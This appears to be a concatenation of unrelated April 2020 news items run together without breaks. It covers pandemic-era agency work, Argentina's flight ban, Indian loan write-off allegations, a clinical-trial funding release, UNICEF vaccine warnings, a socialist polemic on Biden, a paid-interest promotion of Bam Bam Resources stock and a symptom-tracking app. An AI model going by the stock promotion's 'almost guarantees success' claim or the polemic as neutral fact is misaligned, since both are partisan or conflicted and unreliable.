holes where they need to be plugged. What is of critical importance for us is to remain in executing work for our client partners and this keeps us occupied over and above ensuring that we have a functional and strong team." MD of Grid Worldwide, Masego Motsogi's account of work-life in the time of Covid-19.Having followed the news since January on how various countries had been dealing with the upsurge of cases and how that impacted societies, we knew that we would have to act quickly when it reached our shores. Most of our teams started working from home as early as the second week of March. This gave a glimpse into what the possibility of working under lockdown would look like.My experience of lockdown? I dont think anyone could have anticipated what it was going to look like. It has, however, pleasantly surprised me in that it feels like Im connected to the team better than was initially the case. And on the other side, although I cannot give her my full attention, me being within eye- or earshot has my daughter experiencing all spectrums of excitement.It has mostly been positive.The pandemic has had quite an adverse impact on the economy with many industries being considered non-essential. This means that for many, production has halted and for others because of the limited access to markets in the form of consumers, revenues have reduced and as such budgets are being cut.What this means for us as the creative industry are the inevitable budget cuts and in turn, reduced work, which comes with its own set of challenges.This does, however, open up opportunities to think innovatively around the creative solutions we have become accustomed to offering our clients and the format in which these are disbursed.Its time to relook the concept of creativity and how mainstream branding and advertising can be augmented to offer on- and offline experiences that are meaningful and have an impact for both consumer and brand.As much as theres work to do, we also remind ourselves that there is the need to be social and share our true selves. Work comes first but we definitely make time for fun amongst our daily interactions. This ranges from sharing exercise routines, jokes and a whole lot of other things. Weve also discovered incredible talents which have been incredible to watch!From a work perspective, we have certainly noted a different kind of creative product, spurred on by client briefs of course but not negating the fact that we are seeing the world through a brand-new lens. So, there is more innovative thinking, there is greater thought that is given to how our proposed creative solutions not only help the world but how they can be entertaining and inspiring while delivering on business objectives.The lack of facetime with team members certainly does come at a price, especially when it comes to creative reviews, but we are learning to navigate around those and extract the best out of everyone.We also cant ignore that we have people with different dispositions that make up the agency and with this comes the different ways people react to this extraordinary event. This has, however, allowed us to get to know each other better, which certainly gives rise to better working relations and results in more robust conversations when it comes to the work.As much as we have come from being a branding agency, we have certainly grown to offer more to our client partners and other stakeholders. Covid-19 has allowed us to demonstrate our capabilities in terms of delivering creative solutions for various businesses. This is something we will continue to grow into to continue to create meaning in our immediate industry and the world at large.I personally have always believed that we are in the most fortunate position to influence culture and the way in which the world thinks as an industry. This being one of the main reasons why I opted to go to advertising school. Add to that the technological innovations and how we have generally been on the early adopters' curve, its only sound to look to creativity for solutions.What has had to happen very quickly is to advance this new thinking beyond a TV script but into ideas that change the world, channelled by brands. I see this period being the time we will look back at in history, calling it where the evolution of our industry happened. To date, we have spoken extensively about how we as an industry do things amazingly and differently but I think this time has more than forced us to stop paying lip service and to rather show it in what we present to the world.As said above, we have noted that some people are managing better than others. This is to be expected with any situation. What we have put in place is a guardian policy we have various team leaders (not all management) having regular check-ins will team members.Also, where we have our agency update on a quarterly basis, we have made these weekly updates where we provide clarity and a view of the week (or as far as we can make out) to make sure that no one is left behind.Most of our meetings that happened pre-Covid-19 have remained, the only thing that has changed is the medium and this includes our client meetings. We continue to have our planning sessions every Monday and have check-ins daily. This has helped retain a level of normalcy and I believe has given the team the energy to keep delivering.There are several projects we are working on.Amongst the few that we are working on, I am keenly interested in the Masks project. Having grown up in Soweto, I know how tight things can be as a result of historical spatial planning. It, therefore, is so important for me that we help in whatever form we can to help in reducing the possibility of infection and this one project for me reaches that far. We also know that the Covid-19 will be resident in the world for some time to come and there are several other initiatives that we are working on that we will be implementing going forward.It has reaffirmed what I have always believed in, that we are capable of more than we think we are. What I believe we should do from the crisis, given that creative industries are called on to help shift things, is to reassert ourselves as the experts that we are. Many may not be 'BCom Twitter' or have MBCHB qualifications, but we certainly do have a role to play.I hope that this also instils confidence in companies that when other departments could not do much, marketing had the access to speak to its audiences and keep them top of mind minimise the cost-centre mentality and up the trust scores.I would say, 'We gon be alright', but I wont. Seriously though, I do think that this is an opportunity for us to review what we have done and deliberate on the value we truly add to our clients businesses.Plus, I also think that with clients leaning more on us this time, we will emerge somewhat stronger and connected not only amongst ourselves but to the realities of their world, and this will make our creative solutions meaningful. Argentina has banned all commercial flight sales until at least 1 September due to coronavirus. The move is one of the worlds strictest travel bans in relation to Covid-19 and will prevent the sale and purchase of flights to, from or within Argentina. The decree was signed by the National Civil Aviation Administration and stated that the restrictions over the course of the next four months were understood to be reasonable. Argentina has experienced 4,003 cases of coronavirus with 197 fatalities as of Tuesday morning, according to data from Johns Hopkins University. Argentinas more severe measures, which follow the decision to close its borders to non-residents in March, resembles similar action from Ecuador, Peru and Colombia, who have suspended commercial flights but not gone as far as to impose such a lengthy extension. The problem was that airlines were selling tickets without having authorization to travel to Argentine soil, a spokesman for President Alberto Fernandez said. Despite the decree insisting the move is reasonable, the international aviation agency maintain it breaches bilateral agreements and that as many as 300,000 jobs are now at risk. Alta, a group lobbying on behalf of Latin American airlines, underlined the imminent and substantial risk to jobs. An Alta statement read: The resolution was not shared or agreed with the industry and, furthermore, runs counter to the efforts of all the actors in the sector. Argentina has banned all commercial flights until September (AFP) It is unclear right now how Peronist leader Mr Fernandez plans to handle the countrys largest carrier, Aerolineas Argentinas, which is state-owned and would require subsidising until September. Upon searching for available flights on the airlines website, the following message appears: We do not have flights available for you on those days. We suggest you carry out a new search. Mr Fernandez has extended lockdown until 10 May, though metro areas populations of fewer than 500,000 may see a return to normality. Those smaller towns may see movement limited to half the population at a time, while limited recreational activities will be allowed within 500 meters (0.3 mile) of each home. The British government announced on Sunday there would be two new special charter flights from Buenos Aires to bring home British nationals, on 7 May, to London Gatwick and 12 May, to London Heathrow. Since the coronavirus outbreak, Mr Fernandez, who defeated Mauricio Macri in the 2019 general election, has seen his approval ratings rise significantly, currently sitting at 53.2 per cent, up from 42 per cent in September, according to pollster Synopsis. The Congress on Tuesday alleged the Bharatiya Janata Party (BJP)-led National Democratic Alliance (NDA) government had waived off Rs 68,607 crore due from the top 50 bank loan defaulters, including Nirav Modi, Mehul Choksi and Vijay Mallya. The BJP, however, has denied the allegation. Citing what it said was an RTI reply from the Reserve Bank of India (RBI), the opposition party also alleged the NDA government also waived off loans worth Rs 6.66 lakh crore between coming to power in 2014 and last September, and asked Prime Minister Narendra Modi and finance minister Nirmala Sitharaman to come clean on the matter. Former Congress president Rahul Gandhi said he had asked a question in Parliament seeking the names of the countrys top 50 bank loan defaulters but the finance minister didnt give an answer. I asked a straight question in Parliament state the names of the 50 top bank loan defaulters in the country. The finance minister refused to answer the question. Now, the RBI has given the names of Nirav Modi, Mehul Choksi and many of BJPs friends in the list of bank frauds. That is why this truth was held back from Parliament, he tweeted in Hindi. Mallya recently lost his UK high court appeal against an order for his extradition to India. India has also sought the extradition of Choksi, one of the accused in the Punjab National Bank scam, from Antigua and Barbuda. Modi is fighting his extradition to India from the UK over charges of fraud and money laundering. On March 16, Gandhi had asked the question about wilful bank loan defaulters during the Lok Sabhas budget session. But he wasnt allowed a supplementary question, triggering protests by Congress members in the House. Gandhi later said his right as a Member of Parliament to ask a supplementary question in the Lok Sabha was taken away as Speaker Om Birla didnt allow him to do so. The Congress leader said he was hurt by the action as it was the Speakers duty to protect his right to speak and ask supplementary questions. This is completely unfair, he had said. However, union minister of state for finance Anurag Thakur took a swipe at Gandhi, saying the former Congress chief considers himself a privileged MP and wants to be treated differently than other Lok Sabha members. Some people consider themselves privileged. They want to be treated differently than other MPs. They want to ask questions even after the Question Hour is over...The answers to his questions were provided in writing to him but still Gandhi and other Congress members made noise, Thakur countered. BJP spokesperson Gopa lAgarwal also rebutted the Congress leaders remarks. We have categorically explained, and anyone known to Banking industry, will vouch that making provisions for NPA and Bad loans is not write off. It remains recoverable and the borrower is obligated to pay back that amount to the Banks. Provisioning only strengthens the Banks Balance sheet from the lenders point of view, said Agarwal, He said the Congress is misleading people by raising the issue. I am ashamed to call Congress leaders like Chidambaram and Manmohan Singh economists, if they cant understand or swallow this basic fundamentals of banking. Actually they are playing a fraud on the people of our country trying to mislead and misinform the nation. Truly we should all ask the ex PM and ex FM; under whose tenure these scrupulous loans were given to these crony capitalist like Nirav Modi, Vijay Mallya and Mehul Chokshi? And now who is trying to recover them, with Benami property act, fugitive offenders act and extradition? It is our government of Shri Narendra Modi, the BJP spokesperson added. Congress chief spokesperson Randeep Singh Surjewala had on Tuesday released the list of top loan defaulters, according to the RTI reply from the RBI. He also demanded answers from the prime minister on why their loans were waived off. This is a classic case of promoting the dupe, deceive and depart policy of the Modi government, which can no longer be accepted and the prime minister has to answer, he told a news briefing via video conference. Surjewala said this also reflected the misconceived priorities and dishonest intentions of the Modi government. The entire country is fighting the Coronavirus and the government has no money to pay states, but it has the money to condone and write off Rs 68,307 crore of bank loan defaulters, he said. Helping fugitives and waiving off their loans has become the BJPs main agenda. On March 16, Rahul Gandhi asked the government in Parliament for the names of 50 top bank scamsters in India. The government and the finance minister kept mum and refused to disclose any names, Surjewala said. But now an RTI has revealed the magnitude of the waiver. Surjewala said the governments financial mismanagement has caused non-performing assets (NPAs) to balloon out of proportion. Till April 24, Rs 68,607 crore had been written off by the government. The prime minister cannot evade this question by keeping silent, he said. As much as Rs 8,048 crore have been written off for Mehul Choksi and Nirav Modi. Another diamond merchant Jatin Mehtas Rs 6,048 crore too has been written off, and so is the case with Kingfishers Vijay Mallya. Similar is the case with the relations of these defaulters, he alleged. This is what happens when an economy, primed to be one of the largest in the world, is run by an Entire Political Scientist. Tax payers money is being used to bailout the governments rich friends. How long will the government continue the charade of working for the poor and the middle class? the opposition party said on Twitter. It alleged that such write-offs have come to light at a time when the government has frozen the dearness allowance of Central government employees, pensioners and defence personnel. Investment led by MTIP enables the company to expand its product development to meet the growing demand for patient-centric technology solutions in clinical trials Trialbee, leading global technology provider for patient matching and engagement in clinical trials, today announced the closure of an 11 million investment round to onboard strategic investor MTIP, the European specialist investor in Healthtech scale-up companies. Existing investors Industrifonden and Briban Invest also participated in the round. The additional capital will be used to further accelerate the company's topline growth and enhance the Trialbee technology platform, which integrates real world data and real time analytics to recruit and engage patients. This latest round brings the total amount raised by Trialbee to date to 25 million. "We have experienced remarkable momentum over the last year and our commitment to deliver cutting-edge capabilities to our customers has contributed to this growth," said Lollo Eriksson, CEO of Trialbee. "With this investment from MTIP, we are able to further invest in product development which will result in more value for our customers looking to accelerate and restart their global clinical trials. This partnership with MTIP speaks to the growing market opportunity and validates that Trialbee's solutions are well-positioned to meet the demand." The most prescient challenges facing pharma research development (R&D) are slow patient recruitment and large numbers of dropouts from clinical trials, causing significant delays and increasing costs for pharmaceutical products to reach the marketplace. The Trialbee solution is proven to accelarate the patient recruitment process and maintain patient engagement by incorporating data-driven digital solutions in clinical trials and optimizing protocol design and site selection. "We are delighted to be investing in Trialbee, and look forward to working with the team to further their future growth," commented MTIP Investment Partner, David Germonpre. "We have looked at a lot of opportunities in this space, and believe Trialbee is truly differentiated in their ability to securely integrate Big Data in clinical trials. Some of the best technology solutions are built to optimize existing processes, and the Trialbee team has harnessed their knowledge from many years in the patient recruitment space to do just that." Trialbee is the first and only global patient recruitment and engagement company with integrated patient matching from claims data, electronic health records and digital outreach to the general public. These expanded capabilities enable Trialbee to provide additional services such as the assessment of patient feasibility, principal investigator identification and support for observational research. The Company is proud to support their clients to optimize their clinical trials on both sides of the Atlantic, with teams in both Malmo, Sweden and Chapel Hill, North Carolina. Dr. Christoph Kausch, CEO and Founding Partner at MTIP, commented: "Recruiting the right patients into the right clinical trial is essential for successful drug development. Traditionally, this process has been cumbersome, expensive and highly inefficient. We liked that Trialbee is really revolutionizing the patient recruitment process through deploying digital technologies that are used to source, engage and retain patients." He concluded: "Our second Fund II investment, Trialbee, is a great example of healthcare innovation working to achieve better value for money in healthcare. By reducing the cost of development for their clients, Trialbee are also enabling more affordable and safer pharmaceuticals for the patients they affect." ABOUT MTIP MTIP is a pan-European Healthtech growth investor, based in Basel Switzerland. We invest in digitally-connected, decentralized and patient-centric medical technology leaders, with offerings that provide clear health-related economic benefits. Our entrepreneurial investment team, which has complementary private equity skills and exceptional deal-making capabilities, actively works with our portfolio companies to boost growth. MTIP efficiently deploys capital to unlock value and generate attractive returns for our investors. Find out more at www.mtip.ch or contact us at communications@mtip.ch. ABOUT Trialbee Trialbee is a world leading technology provider in patient matching and engagement, empowering patients to participate in clinical trials as a care option. Founded in 2010, Trialbee has continuously innovated patient-centric technology solutions for global clinical trials. Trialbee Dedicated to patients; driven by science; and powered by data. For more information, visit www.trialbee.com and contact us at solutions@trialbee.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005070/en/ Contacts: Kristi Lee-John for Trialbee Phone: 919-270-8054 E-mail: klee@crossroadsb2b.com Jessica Di Palo MTIP, Head of Marketing and Communications Phone: +41 61 551 12 50 E-mail: communications@mtip.ch Kathmandu, April 28 : South Asia could face another health emergency a children across the region were likely to miss out on life-saving vaccinations due to the ongoing coronavirus pandemic, the Unicef warned on Tuesday. The region is home to some 4.5 million unimmunized or partially immunized children and most of them, or 97 per cent, live in India, Pakistan, and Afghanistan, the UN body said in a statement. "With lockdowns in place as a part of the novel coronavirus response, routine immunizations have been severely disrupted, and parents are increasingly reluctant to take their children to health centres for routine jabs," Efe news quoted the statement as saying. The agency warned that sporadic outbreaks of vaccine-preventable diseases, including measles and diphtheria, have been detected in parts of Bangladesh, Pakistan, and Nepal. The region is also home to two of the last polio-endemic countries in the world, Afghanistan and Pakistan. "Vaccine stocks are running dangerously low in some countries of the region as supply chains have been disrupted with travel bans and canceled flights. The manufacturing of the vaccines has also been disrupted, creating additional shortages," said Paul Rutter, Regional Health Advisor for the Kathmandu-based Unicef's Regional Office for South Asia (ROSA). Many of the health facilities throughout the region for vaccination of millions of children were closed and outreach sessions suspended, adding to the challenge. "As long as frontline health workers take the appropriate precautions, particularly washing their hands, there is no reason not to vaccinate," Rutter emphasized. National mass vaccination campaigns have also been postponed across the region. Bangladesh and Nepal have postponed their national measles and rubella campaigns, while Pakistan and Afghanistan have suspended their polio campaigns. "We are very concerned about the impact of not getting children vaccinated," said Jean Gough, Director of Unicef ROSA. "Many of these children are already vulnerable. While the COVID-19 virus does not appear to make many children seriously ill, the health of hundreds of thousands of children could be impacted by this disruption of regular immunization services. This is a very serious threat. Early action is key." Latest updates on Coronavirus (COVID-19) On Monday, House Speaker Nancy Pelosi formally endorsed Joe Biden, the presumptive Democratic Party candidate in the 2020 presidential election. In an eleven-minute video, Pelosi lavished praise on the pro-war, pro-corporate long-time senator and vice president under Barack Obama, the most right-wing of the major contestants for the nomination. Pelosi called the 77-year-old, semi-senile political hack a voice of reason in the coronavirus crisis and absurdly described him as a leader who is the personification of hope and courage, values and integrity. In the midst of the greatest corporate bailout in world history, she specifically praised Biden for his role in the multi-trillion-dollar bailout of Wall Street during the 20082009 financial crisis. Pelosis endorsement followed endorsements earlier this month by Bernie Sanders, Elizabeth Warren and Alexandria Ocasio-Cortez, marking the line-up of the so-called progressive wing of the party behind the candidate of the party apparatus, whose official imprimatur was signaled by the endorsement the same week by Barack Obama. But the unity at the top has not resolved the partys deep crisis. Biden is despised by broad sections of the working class and especially youth and younger workers, and there are many indications that large sections of those, especially young people, who supported the Sanders campaign may not accede to Sanders post-capitulation demand that they vote for Biden. Their disquiet has been increased by the news last week that Bidens chief economic adviser is Larry Summers, a key architect from the 1990s to the present of the policies of deregulation and economic parasitism that have enabled the financial aristocracy to monopolize ever greater portions of societys wealth. This has been compounded by a simmering scandal involving allegations of sexual abuse against Biden by Tara Reade, a one-time staffer in Bidens Senate office, who filed a complaint with Washington DC police in March accusing the then-senator from Delaware of having assaulted her in 1993. The alleged incident occurred 26 years ago, there were no other witnesses, Reade did not file a complaint with the police at the time, and the statute of limitations has long since expired. Biden himself has said nothing, but his campaign has denied the charges. The World Socialist Web Site has no way of knowing whether Reades allegations are true. One thing is clear, however. The response of the Democratic Party and media organizations aligned with it, such as the New York Times and the Washington Post, which have spearheaded the #MeToo witch hunt and reveled in the take down of dozens of prominent men on the basis of unsubstantiated allegations of sexual misconduct, has exposed their rank hypocrisy. The Times and the Post failed to report Reades allegations for weeks after the story was broken by Sanders supporter Katie Halper on her podcast in March. In mid-April they posted articles emphasizing inconsistencies in Reades story and insisting that it had to be carefully examined and Biden given the presumption of innocence before reaching any conclusion as to his guilt. The Democratic National Committee has said nothing, nor has Senate Minority Leader Chuck Schumer, Sanders, Warren or most of the dozen or so women on Bidens short list for his vice presidential running mate. Pelosi has spoken publicly only once on the matter, telling MSNBC on April 17 that she was satisfied with Bidens denial. She appeared Sunday on CNNs State of the Union program and was not asked by moderator Jake Tapper about the issue. The contrast between the treatment of Biden by the Democratic Party and the pro-Democratic media and the treatment of a host of targets of #MeToo sex charges could not be more blatant. The mantra believe women that was proclaimed repeatedly, including by Biden himself during the September 2018 Senate confirmation hearings for Supreme Court Justice Brett Kavanaugh, has been supplanted by a sudden (dishonest) affirmation of the democratic principles of due process and the presumption of innocence. What has been exposed is the role of the #MeToo campaign as an adjunct of the Democratic Party. Its proponents have changed their tune because the McCarthyite methods of #MeToo in this particular case cut across the interests of the Democratic Party and substantial sections of the ruling class that are backing Biden in the contest with Trump. There are, however, forces aligned with the Democratic Party that are pushing Reades allegations and calling out the party apparatus for seeking to quash them. The Intercept has published a number of articles as have some pseudo-left Sanders promoters, including Jacobin magazine. This opposition has increased since the posting Friday by Newsbusters of a video clip from an August 1993 CNN Larry King Live program in which a woman, identified by Reade as her mother, calls in and cites the case of her daughter, who was working for a prominent senator and could not get through with her problems at all. The caller does not identify the senator and does not mention sexual harassment, but the clip seems to confirm Reades claim that she told her mother of the incident with Biden at the time. The video has been widely reported by Fox News and other right-wing media, but largely suppressed by the rest of the corporate media. Fox News reported Monday that the hashtag #dropoutbiden was trending on Twitter on Sunday, until it was allegedly removed. Nick Brana, Sanders former national outreach coordinator, tweeted over the weekend that the Democratic National Committee should either force Biden to drop out or admit that suppressing progressives is the true purpose of your party. Another former Sanders senior adviser, Winnie Wong, tweeted: The video of Tara Reades late mother calling into Larry King to blow the whistle about Taras sexual assault is being met with relative silence from a cadre of progressives right now and I want you all to know that I see you. We all do. Within this context, Pelosis abrupt endorsement of Biden appears to be an effort to contain and silence the voices calling for him to step aside and make explicit the partys demand that the matter be dropped. Pelosis video appears to be part of a circling of the wagons around Biden. On Monday, the co-chair of the Congressional Progressive Caucus, Representative Pramila Jayapal (Democrat from Washington state), endorsed Biden, after having served as the Sanders campaigns national chair for health policy. Biden was the most strident opponent of Sanders call for Medicare for all during the primary contest, repeatedly denouncing it on the grounds that it would cost several trillion dollars. Of course, both he and Sanders are now supporting a bailout of the corporate-financial elite that has already reached some $10 trillion. I am ready to work with him [Biden] to craft and then implement the most progressive agenda of any candidate in history, Jayapal said in a statement. Her endorsement followed that of two other former Sanders campaign officials. The Progressive Congressional Caucuss other co-chair, Mark Pocan of Wisconsin, endorsed Biden last week, as did Representative Ro Khanna of California. Pocan and Khanna served as co-chairmen for Sanders. There is nothing progressive in the efforts of disaffected Democrats and their pseudo-left allies to dislodge Biden on the basis of unsubstantiated sex allegations. Even assuming that Reade is telling the truth, in which case Biden should be held to account, the fact is that Biden and his party are guilty of far greater crimes. The wars Biden supported in Afghanistan and Iraq alone killed hundreds of thousands of people, including women and children. The Obama administration, in which Biden served as second-in-command, made drone assassination a major instrument of US foreign policy, asserting the right to murder US citizens and carrying out the assassination of at least three Americans. In 2010, Biden himself declared persecuted journalist Julian Assange to be a hi-tech terrorist. It is not a question of replacing Biden with some other servant of American imperialism and Wall Street and promoting the middle class politics of racial and gender identity. The crisis requires the mobilization of the mass of workers, who are increasingly fighting back against the return-to-work campaign of both big business parties, and behind them all genuinely progressive elements in the middle class, on the basis of a revolutionary socialist program in opposition to the entire two-party system and the ruling class it defends. TICKERS: BBR; NPEZF Source: Ron Struthers for Streetwise Reports (4/28/20) Ron Struthers of Struthers' Resource Stock Report details the value proposition of Bam Bam Resources and its flagship prospect. With gold, we have witnessed the first test of gold's support level, around $1,700/ounce, which I highlighted earlier in April. My next upside target remains the same around $1,900. What is quite significant is the HUI Gold Bugs Index testing the 2016 high. I am sure it will break above and also consider that gold prices were about $400 cheaper in 2016. Gold stocks remain far undervalued. It is very rare to obtain an advanced-stage project in Nevada, let alone one with high grade potential. This is what Bam Bam Resources Corp. (BBR:CSE; NPEZF:OTC) has and, in my view, with the very low market valuation makes it one of the best exploration plays in Nevada for 2020. Bam Bam Resources' recent price: $0.08/share 52-week trading range: $0.03 to $0.15/share Shares outstanding: 48.7 million approx. I have known CEO David Greenway for many years, and believe he will create shareholder value. The Majuba Hill project has a good address in Nevada and is an advanced copper-silver-gold project with historical work and a very special present-day opportunity. Highlights New company; new story with tight share structure; Exceptional exploration expertise through Hunsaker Inc. (Buster Hunsaker); Very good address in Nevada with good access and infrastructure; First time the entire project area is under one ownership; Property held privately by Hunsaker since 2006; vHistorical work and recent work since 2006 (35 drill holes) derisks exploration; vHistorical work and recent work since 2006 (35 drill holes) derisks exploration; Current exploration plan and drilling fully funded; vStock is under the radar with a very low valuation. Management (from the company website) David Greenway, CEO, brings more than two decades of experience in managing, financing and developing growth strategies for various TSX Venture Exchange- and Canadian Securities Exchange-listed companies, including involvement in acquisitions, business valuations and investor relations. His key expertise lies in the management and development of junior public resource companies, especially in the mining, and oil and gas sector. He has held directorships, senior management and business development positions, including his role as the chief executive officer of Stamper Oil & Gas Corp., Veritas Pharma Inc., Chief Consolidated Gold Mines, SNS Silver Corp., Moneta Resources Inc. and Sterling Mining Company and his board position in Mountain View Conservation Centre. Bryson Goodwin, director, is a practiced international executive with over 25 years experience in finance, management, investor relations and operations in both private and public companies. His experience has demonstrated an operational, market and banking track record in the Resource, Oil/Gas, Technology and Biotechnology sectors. He has been engaged by a number of resource, energy, cleantech and technology firms in the departments of management, finance, business development and [public relations and investor relations]. Most recently Mr. Goodwin has held, "C" level executive positions in the resource and energy sectors. Mr. Goodwin [has become] well known for his early involvement in Klondex Mines, and [for] his instrumental role in its transition, finance and marketing from explorer to producer. Buster Hunsaker, advisory board, has been engaged in exploration and evaluation of quality mineral deposits for 40 years in the western United States, Mongolia and Argentina. In 1995, Hunsaker Inc. was formed as a full-service, geological consulting business providing field services and all aspects of prospecting, early-stage exploration, and project management to mineral exploration companies. Hunsaker Inc. has been retained by numerous junior Canadian mining and exploration companies as well as major Nevada gold companies including Barrick Gold Corp., Newmont Exploration, AngloGold Mining, Vista Gold, and Kennecott. Prior to forming Hunsaker Inc. he was employed by mid-size and major mining companies, including Newmont, Atlas Precious Metals and Echo Bay, as project geologist, senior geologist, and chief mine geologist. Majuba Hill Project Summary (from the company website) Majuba Hill is a porphyry copper-silver prospect located 70 miles southwest of Winnemucca, Nev., and 156 miles east-northeast of Reno Previous drill results include: 113m [113 meters] at 0.45% Cu [copper], 72.5m at 0.38% Cu, 86.8m at 0.27% Cu, 47.4m at 1.06% Cu Majuba Hill has a history of production, a database of previous drilling, encouraging geochem results and good tonnage potential A staged exploration program will target the original mine area and at depth below the historic workings Historical Work There was historical production in the early 1900s of 2.8 million pounds copper, 184,000 ounces silver, 991,000 pounds lead/zinc and 5,800 ounces lode gold. Exploration that occurred since the 1970s recognized and defined the porphyry system. Modern exploration began in 1971, with Mine Finders Inc. of Lakewood, Colo., initially looking at Majuba Hill as an analog to the porphyry molybdenum orebodies mined in Colorado. Since 1970, 38,498 feet of core and RC [reverse circulation] drilling was completed. This was composed of 19,834 feet of core by Mine Finders (19701974), 8,560 feet of RC by Minterra Resource Corp. (MTR:TSX.V; 20062008), and 10,104 of core by MAX Resource Corp. (MXR:TSX.V; MXROF:OTCBB; 2011-2014). Drill logs and assays for the historic drilling are available in various formats. The modern (2007 and later) drilling records are in very good condition and have been converted to electronic format, along with all assay certificates and results. This graphic is a good picture of how zones are located on the mountain. On March 25, Bam Bam Announced Its Exploration Plans David Greenway, president and CEO, reports: "I couldn't be happier with this exploration update. Drilling plans and contractors have been finalized for the Majuba Hill copper project. With copper coming back into the forefront and investor sentiment on the rise, we are very excited to tell our shareholders about our plans to drill and update the NI-43-101 technical report for Majuba Hill. The previous results and our new interpretation of data has led us to pick the most advantageous locations for a mixture of core and RC holes. Very exciting times at Bam Bam." Also from the website and press release: "The company plans to use Delong Construction and Drilling to build drill sites and access. Pending the acceptance of the drill notice by the Bureau of Land Management, Delong will also provide reverse circulation drilling for step-out and exploration drill holes. Delong is based in Winnemucca, Nev. "Historic surface drilling has delineated an outcropping copper and silver oxide zone. Historic core holes drilled by Max Resources and described in the technical report prepared for Galileo Exploration Ltd. in May 2017, returned good oxide copper in a discrete area around the historic underground workings. These include: MM-05: 89.2 meters at 0.27% Cu from 0m to 89.2m; MM-06: 47.4m at 1.06% Cu from 0m to 47.4m; MH-7: 97.5m at 0.33% Cu from 25.9m to 123.4m; MG1703: 20.4m at 0.71% Cu from 102.9m to 123.3m; MMX-24: 112.8m at 0.45% Cu from 222.5m to 335.3m. This graphic will also give you a good idea of the target and large potential. Another key point is that practically all the drilling has been on the surface oxide material and the rich sulphide zones that will be deeper have not been explored. Financial Last financials show little cash and no long-term debt. Bam Bam closed a $1.4 million private placement at $0.05 per share on February 5, 2020. David Greenway and associated accounts subscribed to almost 6 million shares of this financing. Summary One thing about bear markets: they bring opportunity. And now those that act in the early stages of the next bull market, like Bam Bam, can reap huge rewards, and for their shareholders. Previous work on the property almost guarantees success now. I spoke at length about the project with Buster Hunsacker, who has been familiar with the project for decades and knows it like the back of his hand. Some key and important points are that in the past, different entities owned different parts of the project, even owning just underground rights. This made it very difficult for a project-wide exploration focus. Copper and gold prices were way lower in the past as well, and what was not economic gold in the 1970s is now, especially in Nevada. There is a good chance this could be an economic gold mine, without the copper. There is also rich silver and lead. Back in the early 1900s, [miners] just mined out the high grade. This would be multi-ounce gold per ton, and copper that was probably over 10% grade. Noted above is historical production at 12% copper, with 2 to 3 ounces for silver. I have no doubt there is a lot of good grade material left behind. Note the gold at 0.15 opt. This equates to 4 to 5 grams per ton. They are now mining gold in Nevada at 0.5 g/t and even less. The Pipeline is one of the higher-grade mines at 1.4 g/t. The past couple of juniors who optioned the project loved it, but with the difficult market conditions were unable to keep raising financings and had to let their options go, reverting back to Buster Hunsacker. Their work did provide very positive results and more valuable information. On April 14, Daniel-Carl Eigenmann joined Bam Bam's board of advisers. From the press release: "Mr. Eigenmann is a founder and the president of the board of directors for Iko Capital AG, a leading Wealth Management firm based in Zug, Switzerland. Prior to founding Iko Capital AG, Mr. Eigenmann was the executive director of DE Investment and Consulting AG until its acquisition. As part of Mr. Eigenmann's 36-year career in the financial markets, [he] held the position of vice-president of investment banking at UBS Zurich and St. Moritz for 15 years as well as vice-president of wealth management at Liechtensteinishce Ladesbank Vaduz. Mr. Eigenmann has a degree from the University of Cambridge and a business economist diploma from the Graduate School of Business Administration, Zurich. "'It's with great pleasure that I have decided to join Bam Bam's board of advisers,' stated Mr. Eigenmann. 'With the forecast for copper and gold being so bullish I couldn't think of a better time to become involved with what I believe is a future contender. I believe that copper- and gold-focused explorers and developers are the future! Since my involvement with the company, I see a truly great asset with unbelievable potential. I believe that Majuba Hill will prove to be a copper-gold asset that people talk about for years to come.'" Somebody like this does not join just any junior. Mr. Eigernmann sees the same huge potential I do. BBR put out news this morning [April 28] that relates to gold on the property, so I mention that here in the summary. Review of historical [information] found significant gold assays in 14 of 37 drill holes and in 994 surface samples. Before heap leaching around the 1970s, gold was often ignored in copper deposits, but we know now it can be recovered and offer significant value and sometimes more value than the copper. The best historic drill intercept was hole MH-11 with 5 feet at 6.44 g/t Au and 15 feet of 3.173 g/t. Three gold zones are outlined based on the historical data. The gold zone in the main target area overlaps with the oxide copper target zone that will be drilled in the upcoming program. On the chart, trading has been sparse as this is a new story under the radar. Around $0.06/share seems to be a base and a close over $0.10 would probably be a signal of a new up move. Ron Struthers founded Struthers' Resource Stock Report 23 years ago. The report covers senior and junior companies with ample trading liquidity. He started his Millennium Index of dividend stocks in 2003 - $1,000 invested then was worth over $4,000 end of 2014 and the index returned 26.8% in 2016. He retired from IBM after 30 years in customer service, systems and business analyst, also developing his own charting software. He has expertise in junior start-ups and was a co-founder of Paramount Gold and Silver. [NLINSERT] Disclosure: 1) Ron Struthers: I, or members of my immediate household or family, own shares of the following companies mentioned in this article: Bam Bam Resources. I personally am, or members of my immediate household or family are, paid by the following companies mentioned in this article: None. My company currently has a financial relationship with the following companies mentioned in this article: Bam Bam Resources is a paid advertiser at playstocks.net. Additional disclosures below. I determined which companies would be included in this article based on my research and understanding of the sector. 2) The following companies mentioned in this article are sponsors of Streetwise Reports: None. Click here for important disclosures about sponsor fees. 3) Statements and opinions expressed are the opinions of the author and not of Streetwise Reports or its officers. The author is wholly responsible for the validity of the statements. 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Authorities are seeking information from the public about 17 Canada geese found sickened or dead Friday in a wildlife refuge. Oregon State Police Fish and Wildlife troopers responded to the Baskett Slough Wildlife Refuge and found the flock, the Statesman Journal reported. Authorities are asking anyone with information regarding the sudden high mortality rate to call Oregon State Police at 1-800-452-7888 and leave information for Trooper Boeholt. The state has a tip program that offers preference point rewards for information leading to an arrest or issuance of a citation for the unlawful take, possession or waste of big game mammals. -- Statesman Journal To respond to the spread of the new coronavirus, public health authorities need to know who's getting sick. Now, a new app, developed through an unusual partnership, empowers nearly anyone in the United States to share their health status. Since How We Feel's debut this month, nearly 150,000 people across the country have begun checking in daily to report which, if any, symptoms they have. Each submission is linked to a zip code, but no identifying information is collected. With this geographic information, public health agencies can track the pandemic locally. Within the last few weeks, state agencies around the country have begun considering partnerships with the nonprofit How We Feel Project, which administers the app. On Monday, April 20, 2020, the state of Connecticut became the first state to sign on. Collaborations with several other states are under discussion, says Feng Zhang, one of the app's developers and a Howard Hughes Medical Institute Investigator at the Broad Institute and Massachusetts Institute of Technology. "We tried to keep the app very simple, and we are very serious about users' privacy," he says. Zhang and his team normally study the brain and develop molecular tools for applications like genome editing. Like many other scientists, he rapidly shifted focus as the pandemic closed in. How We Feel is one of several COVID-related projects Zhang has taken on. The 